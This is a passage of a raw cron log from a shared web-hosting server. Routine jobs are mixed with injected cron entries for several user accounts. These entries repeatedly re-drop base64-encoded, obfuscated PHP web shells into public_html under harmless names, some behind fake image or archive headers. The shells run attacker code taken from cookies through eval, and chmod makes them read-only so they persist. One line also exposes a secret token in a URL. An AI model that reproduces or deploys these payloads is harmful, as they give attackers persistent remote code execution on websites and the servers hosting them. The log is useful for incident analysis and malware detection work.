oJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:35:01 medusa CROND[19420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:35:01 medusa CROND[19423]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:35:01 medusa CROND[19419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:35:01 medusa CROND[19428]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:35:01 medusa CROND[19429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:35:01 medusa CROND[19431]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 15:35:01 medusa CROND[19435]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19411]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:35:01 medusa CROND[19430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:35:01 medusa CROND[19436]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:36:02 medusa CROND[5651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:36:02 medusa CROND[5650]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:36:02 medusa CROND[5652]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:36:02 medusa CROND[5653]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:36:02 medusa CROND[5654]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:36:02 medusa CROND[5660]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:36:02 medusa CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:36:02 medusa CROND[5666]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:36:02 medusa CROND[5669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:36:02 medusa CROND[5670]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:36:02 medusa CROND[5676]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:36:02 medusa CROND[5678]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:36:02 medusa CROND[5677]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:36:02 medusa CROND[5694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:37:01 medusa CROND[23709]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:37:01 medusa CROND[23990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:37:01 medusa CROND[23991]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:37:01 medusa CROND[23992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:37:01 medusa CROND[23993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:37:01 medusa CROND[23998]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:37:01 medusa CROND[23997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:37:01 medusa CROND[24000]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
